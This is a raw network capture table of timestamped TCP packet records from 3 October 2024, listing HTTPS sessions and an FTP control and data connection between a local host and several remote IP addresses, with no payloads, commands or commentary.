Oct 3, 2024 09:28:12.648159981 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.648173094 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.648344040 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.648425102 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.648437023 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.648443937 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.648524046 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.648529053 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649075031 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649159908 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649239063 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649276972 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.649276972 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.649283886 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649358034 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649559975 CEST	443	49713	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:12.649575949 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.649712086 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:12.662879944 CEST	49713	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:14.802938938 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:14.807708025 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:14.807776928 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:15.422820091 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:15.423199892 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:15.427993059 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:15.645931959 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:15.646159887 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:15.651171923 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:15.877351046 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:15.877927065 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:15.882762909 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.100557089 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.101016998 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.105786085 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.517503023 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.518407106 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.523849010 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.740761995 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.741871119 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.747898102 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.966068983 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.967703104 CEST	49716	60261	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.972691059 CEST	60261	49716	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:16.974225998 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.974229097 CEST	49716	60261	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:16.979078054 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.197835922 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.243405104 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:17.583909035 CEST	21	49715	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.584928989 CEST	60261	49716	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.585225105 CEST	60261	49716	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.585292101 CEST	49716	60261	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:17.585670948 CEST	49716	60261	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:17.585973024 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:17.586019993 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:17.586110115 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:17.586318016 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:17.586333036 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:17.590461969 CEST	60261	49716	191.252.83.213	192.168.2.6
Oct 3, 2024 09:28:17.633517981 CEST	49715	21	192.168.2.6	191.252.83.213
Oct 3, 2024 09:28:18.062920094 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.073282957 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.073319912 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.472790956 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.472840071 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.472883940 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.472894907 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.472923040 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.473001957 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.533848047 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.534034014 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.534063101 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.534102917 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.534116983 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.534149885 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.534645081 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.535691023 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.535696983 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.563505888 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.563539028 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.563565016 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.563576937 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.563637972 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.563644886 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.564223051 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.564254999 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.564255953 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.564265013 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.564295053 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.564318895 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.624938011 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.624975920 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.624979019 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.624989033 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625025034 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.625030994 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625060081 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625271082 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.625277996 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625684977 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625714064 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625739098 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.625744104 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625770092 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.625771046 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625782967 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.625818968 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.626441002 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.626496077 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.626559019 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.626693010 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.626698971 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.626734018 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.627213955 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654504061 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654561996 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654575109 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.654581070 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654611111 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.654614925 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654684067 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.654777050 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.654782057 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655030966 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655059099 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655061960 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.655067921 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655097008 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.655100107 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655159950 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655481100 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.655488014 CEST	443	49717	188.114.97.3	192.168.2.6
Oct 3, 2024 09:28:18.655503988 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.655527115 CEST	49717	443	192.168.2.6	188.114.97.3
Oct 3, 2024 09:28:18.950031996 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:18.950083971 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:18.950141907 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:18.950499058 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:18.950510025 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.516593933 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.516674995 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.518420935 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.518431902 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.518699884 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.519681931 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.563405037 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.627548933 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.627576113 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.627640009 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.627661943 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.632256031 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.632332087 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.632360935 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.710259914 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.710355997 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.710386992 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.710454941 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.710464954 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.710515022 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.710521936 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.711512089 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.711551905 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.711569071 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.711591005 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.711644888 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.717022896 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.717045069 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.717087030 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.717133999 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.798819065 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.798839092 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.798896074 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.798911095 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.798923969 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.798969984 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.799972057 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.800034046 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.800532103 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.800595045 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.801254988 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.801311016 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.802136898 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.802191973 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.802212954 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.802265882 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.805404902 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.805476904 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.887180090 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.887274981 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.887444019 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.887509108 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.887756109 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.887808084 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.888039112 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.888092995 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.888170958 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.888231039 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.888952971 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889005899 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.889061928 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889118910 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.889735937 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889806032 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.889868975 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889908075 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889920950 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.889928102 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.889954090 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.889985085 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.890770912 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.890856981 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.890919924 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.890966892 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.890971899 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.891020060 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.894045115 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.894118071 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.894201994 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.895596027 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976304054 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976397038 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976412058 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976427078 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976464987 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976470947 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976480007 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976528883 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976629019 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976685047 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976772070 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976828098 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.976844072 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.976903915 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.977015972 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977067947 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.977260113 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977324963 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.977418900 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977478981 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.977587938 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977631092 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977639914 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.977646112 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.977674961 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.981698990 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.981767893 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.981868029 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.981919050 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.982134104 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.982191086 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.982901096 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.982953072 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:19.983063936 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:19.983124971 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064707994 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064755917 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064773083 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064789057 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064821005 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064826965 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064840078 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064843893 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064872980 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064894915 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.064922094 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.064966917 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065150023 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.065195084 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065323114 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.065398932 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065404892 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.065417051 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.065452099 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065474987 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065649033 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.065699100 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.065987110 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066034079 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.066138983 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066193104 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.066198111 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066255093 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.066258907 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066318035 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.066585064 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066641092 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.066740036 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.066791058 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.071472883 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.071543932 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.071579933 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.071628094 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153158903 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153234959 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153243065 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153259039 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153280020 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153285980 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153299093 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153302908 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153330088 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153361082 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153489113 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153547049 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153641939 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153708935 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153810024 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.153865099 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.153981924 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154046059 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154149055 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154205084 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154253960 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154314041 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154567957 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154619932 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154686928 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154747963 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154890060 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.154939890 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.154947042 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.155016899 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.155183077 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.155241013 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.159703970 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.159761906 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.160335064 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.160406113 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.241641998 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.241723061 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.241749048 CEST	443	49719	173.231.247.100	192.168.2.6
Oct 3, 2024 09:28:20.241800070 CEST	49719	443	192.168.2.6	173.231.247.100
Oct 3, 2024 09:28:20.241934061 CEST	443	49719	173.231.247.100	192.168.2.6
